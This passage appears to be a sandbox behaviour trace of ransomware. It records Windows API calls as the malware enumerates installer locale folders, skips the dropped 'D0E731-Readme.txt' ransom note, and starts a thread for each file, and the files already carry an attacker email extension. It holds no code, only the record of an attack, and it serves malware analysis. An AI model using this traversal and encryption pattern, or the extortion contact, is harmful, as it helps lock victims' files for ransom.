ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83dac201, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f800e0 [0165.292] wcscmp (_String1=".", _String2=".") returned 0 [0165.292] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2faa548 | out: lpFindFileData=0x2faa548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x83dac201, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83dac201, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.303] wcscmp (_String1="..", _String2=".") returned 1 [0165.303] wcscmp (_String1="..", _String2="..") returned 0 [0165.303] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2faa548 | out: lpFindFileData=0x2faa548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83dac201, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x83dac201, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83dac201, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0165.303] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0165.303] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0165.303] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2faa548 | out: lpFindFileData=0x2faa548*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x82b5803f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x236c, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULART~1.D0E")) returned 1 [0165.303] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.303] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.303] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2f6bff8 [0165.303] wcscpy (in: _Dest=0x2f6bff8, _Source="C:\\588bce7c90097ed212\\1032" | out: _Dest="C:\\588bce7c90097ed212\\1032") returned="C:\\588bce7c90097ed212\\1032" [0165.303] wcscat (in: _Dest=0x2f6bff8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1032\\") returned="C:\\588bce7c90097ed212\\1032\\" [0165.303] wcscat (in: _Dest=0x2f6bff8, _Source="eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1032\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1032\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0165.674] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6bff8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x570 [0165.674] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2faa548 | out: lpFindFileData=0x2faa548*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x83dac201, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x151cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="LOCALI~1.D0E")) returned 1 [0165.675] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.675] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.675] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2f6d2c0 [0165.675] wcscpy (in: _Dest=0x2f6d2c0, _Source="C:\\588bce7c90097ed212\\1032" | out: _Dest="C:\\588bce7c90097ed212\\1032") returned="C:\\588bce7c90097ed212\\1032" [0165.675] wcscat (in: _Dest=0x2f6d2c0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1032\\") returned="C:\\588bce7c90097ed212\\1032\\" [0165.675] wcscat (in: _Dest=0x2f6d2c0, _Source="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0165.675] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6d2c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x640 [0165.675] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2faa548 | out: lpFindFileData=0x2faa548*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0165.675] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0165.675] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0165.675] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2faa548 | out: lpFindFileData=0x2faa548*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0165.676] FindClose (in: hFindFile=0x2f800e0 | out: hFindFile=0x2f800e0) returned 1 [0165.676] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faa548) returned 1 [0165.676] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f871a0) returned 1 [0165.676] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80860) returned 1 [0165.676] RtlExitUserThread (Status=0x0) Thread: id = 1557 os_tid = 0xf30 [0165.303] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2f87278 [0165.303] wcscpy (in: _Dest=0x2f87278, _Source="C:\\588bce7c90097ed212\\1033" | out: _Dest="C:\\588bce7c90097ed212\\1033") returned="C:\\588bce7c90097ed212\\1033" [0165.303] wcscat (in: _Dest=0x2f87278, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1033\\") returned="C:\\588bce7c90097ed212\\1033\\" [0165.303] wcscat (in: _Dest=0x2f87278, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1033\\*") returned="C:\\588bce7c90097ed212\\1033\\*" [0165.303] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2faa7a0 [0165.303] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x2faa7a0 | out: lpFindFileData=0x2faa7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x83d85f8d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83d85f8d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80120 [0165.305] wcscmp (_String1=".", _String2=".") returned 0 [0165.305] FindNextFileW (in: hFindFile=0x2f80120, lpFindFileData=0x2faa7a0 | out: lpFindFileData=0x2faa7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x83d85f8d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83d85f8d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.307] wcscmp (_String1="..", _String2=".") returned 1 [0165.307] wcscmp (_String1="..", _String2="..") returned 0 [0165.307] FindNextFileW (in: hFindFile=0x2f80120, lpFindFileData=0x2faa7a0 | out: lpFindFileData=0x2faa7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83d5fdc2, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x83d5fdc2, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83d5fdc2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0165.307] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0165.307] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0165.307] FindNextFileW (in: hFindFile=0x2f80120, lpFindFileData=0x2faa7a0 | out: lpFindFileData=0x2faa7a0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0x82b7e2f2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xd34, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULART~1.D0E")) returned 1 [0165.307] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.307] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.307] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2fc2ea0 [0165.307] wcscpy (in: _Dest=0x2fc2ea0, _Source="C:\\588bce7c90097ed212\\1033" | out: _Dest="C:\\588bce7c90097ed212\\1033") returned="C:\\588bce7c90097ed212\\1033" [0165.307] wcscat (in: _Dest=0x2fc2ea0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1033\\") returned="C:\\588bce7c90097ed212\\1033\\" [0165.307] wcscat (in: _Dest=0x2fc2ea0, _Source="eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1033\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1033\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0165.671] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fc2ea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x574 [0165.671] FindNextFileW (in: hFindFile=0x2f80120, lpFindFileData=0x2faa7a0 | out: lpFindFileData=0x2faa7a0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x83d5fdc2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x12e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="LOCALI~1.D0E")) returned 1 [0165.671] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.671] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.671] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2f6d218 [0165.671] wcscpy (in: _Dest=0x2f6d218, _Source="C:\\588bce7c90097ed212\\1033" | out: _Dest="C:\\588bce7c90097ed212\\1033") returned="C:\\588bce7c90097ed212\\1033" [0165.671] wcscat (in: _Dest=0x2f6d218, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1033\\") returned="C:\\588bce7c90097ed212\\1033\\" [0165.672] wcscat (in: _Dest=0x2f6d218, _Source="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0165.672] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6d218, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x63c [0165.672] FindNextFileW (in: hFindFile=0x2f80120, lpFindFileData=0x2faa7a0 | out: lpFindFileData=0x2faa7a0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0165.672] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0165.672] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0165.672] FindNextFileW (in: hFindFile=0x2f80120, lpFindFileData=0x2faa7a0 | out: lpFindFileData=0x2faa7a0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0165.672] FindClose (in: hFindFile=0x2f80120 | out: hFindFile=0x2f80120) returned 1 [0165.673] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faa7a0) returned 1 [0165.673] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87278) returned 1 [0165.673] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f808a0) returned 1 [0165.673] RtlExitUserThread (Status=0x0) Thread: id = 1558 os_tid = 0xf34 [0165.310] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2f872c0 [0165.310] wcscpy (in: _Dest=0x2f872c0, _Source="C:\\588bce7c90097ed212\\1035" | out: _Dest="C:\\588bce7c90097ed212\\1035") returned="C:\\588bce7c90097ed212\\1035" [0165.310] wcscat (in: _Dest=0x2f872c0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1035\\") returned="C:\\588bce7c90097ed212\\1035\\" [0165.310] wcscat (in: _Dest=0x2f872c0, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1035\\*") returned="C:\\588bce7c90097ed212\\1035\\*" [0165.310] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1770 [0165.311] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x2fe1770 | out: lpFindFileData=0x2fe1770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x840a704f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x840a704f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe3a48 [0165.313] wcscmp (_String1=".", _String2=".") returned 0 [0165.313] FindNextFileW (in: hFindFile=0x2fe3a48, lpFindFileData=0x2fe1770 | out: lpFindFileData=0x2fe1770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x840a704f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x840a704f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.313] wcscmp (_String1="..", _String2=".") returned 1 [0165.313] wcscmp (_String1="..", _String2="..") returned 0 [0165.313] FindNextFileW (in: hFindFile=0x2fe3a48, lpFindFileData=0x2fe1770 | out: lpFindFileData=0x2fe1770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84080e16, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x84080e16, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x840a704f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0165.313] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0165.313] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0165.313] FindNextFileW (in: hFindFile=0x2fe3a48, lpFindFileData=0x2fe1770 | out: lpFindFileData=0x2fe1770*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x82b0bc57, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xf36, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULART~1.D0E")) returned 1 [0165.313] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.313] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.313] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2f6ab60 [0165.313] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\588bce7c90097ed212\\1035" | out: _Dest="C:\\588bce7c90097ed212\\1035") returned="C:\\588bce7c90097ed212\\1035" [0165.313] wcscat (in: _Dest=0x2f6ab60, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1035\\") returned="C:\\588bce7c90097ed212\\1035\\" [0165.313] wcscat (in: _Dest=0x2f6ab60, _Source="eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1035\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1035\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0165.667] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6ab60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x578 [0165.668] FindNextFileW (in: hFindFile=0x2fe3a48, lpFindFileData=0x2fe1770 | out: lpFindFileData=0x2fe1770*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x84080e16, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x12d9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="LOCALI~1.D0E")) returned 1 [0165.668] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.668] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.668] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2f6d170 [0165.668] wcscpy (in: _Dest=0x2f6d170, _Source="C:\\588bce7c90097ed212\\1035" | out: _Dest="C:\\588bce7c90097ed212\\1035") returned="C:\\588bce7c90097ed212\\1035" [0165.668] wcscat (in: _Dest=0x2f6d170, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1035\\") returned="C:\\588bce7c90097ed212\\1035\\" [0165.668] wcscat (in: _Dest=0x2f6d170, _Source="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0165.668] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6d170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x638 [0165.669] FindNextFileW (in: hFindFile=0x2fe3a48, lpFindFileData=0x2fe1770 | out: lpFindFileData=0x2fe1770*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0165.669] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0165.669] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0165.669] FindNextFileW (in: hFindFile=0x2fe3a48, lpFindFileData=0x2fe1770 | out: lpFindFileData=0x2fe1770*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0165.669] FindClose (in: hFindFile=0x2fe3a48 | out: hFindFile=0x2fe3a48) returned 1 [0165.670] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1770) returned 1 [0165.670] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0165.670] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7f9a0) returned 1 [0165.670] RtlExitUserThread (Status=0x0) Thread: id = 1559 os_tid = 0xf38 [0165.313] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2f87590 [0165.313] wcscpy (in: _Dest=0x2f87590, _Source="C:\\588bce7c90097ed212\\1036" | out: _Dest="C:\\588bce7c90097ed212\\1036") returned="C:\\588bce7c90097ed212\\1036" [0165.314] wcscat (in: _Dest=0x2f87590, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1036\\") returned="C:\\588bce7c90097ed212\\1036\\" [0165.314] wcscat (in: _Dest=0x2f87590, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1036\\*") returned="C:\\588bce7c90097ed212\\1036\\*" [0165.314] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1ea8 [0165.314] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x83d39a46, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83d39a46, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe3848 [0165.315] wcscmp (_String1=".", _String2=".") returned 0 [0165.315] FindNextFileW (in: hFindFile=0x2fe3848, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x83d39a46, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83d39a46, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.316] wcscmp (_String1="..", _String2=".") returned 1 [0165.316] wcscmp (_String1="..", _String2="..") returned 0 [0165.316] FindNextFileW (in: hFindFile=0x2fe3848, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83d138b3, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x83d138b3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83d39a46, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0165.316] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0165.316] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0165.316] FindNextFileW (in: hFindFile=0x2fe3848, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x82ba456e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xe86, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULART~1.D0E")) returned 1 [0165.316] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.316] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.316] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2f6abf8 [0165.316] wcscpy (in: _Dest=0x2f6abf8, 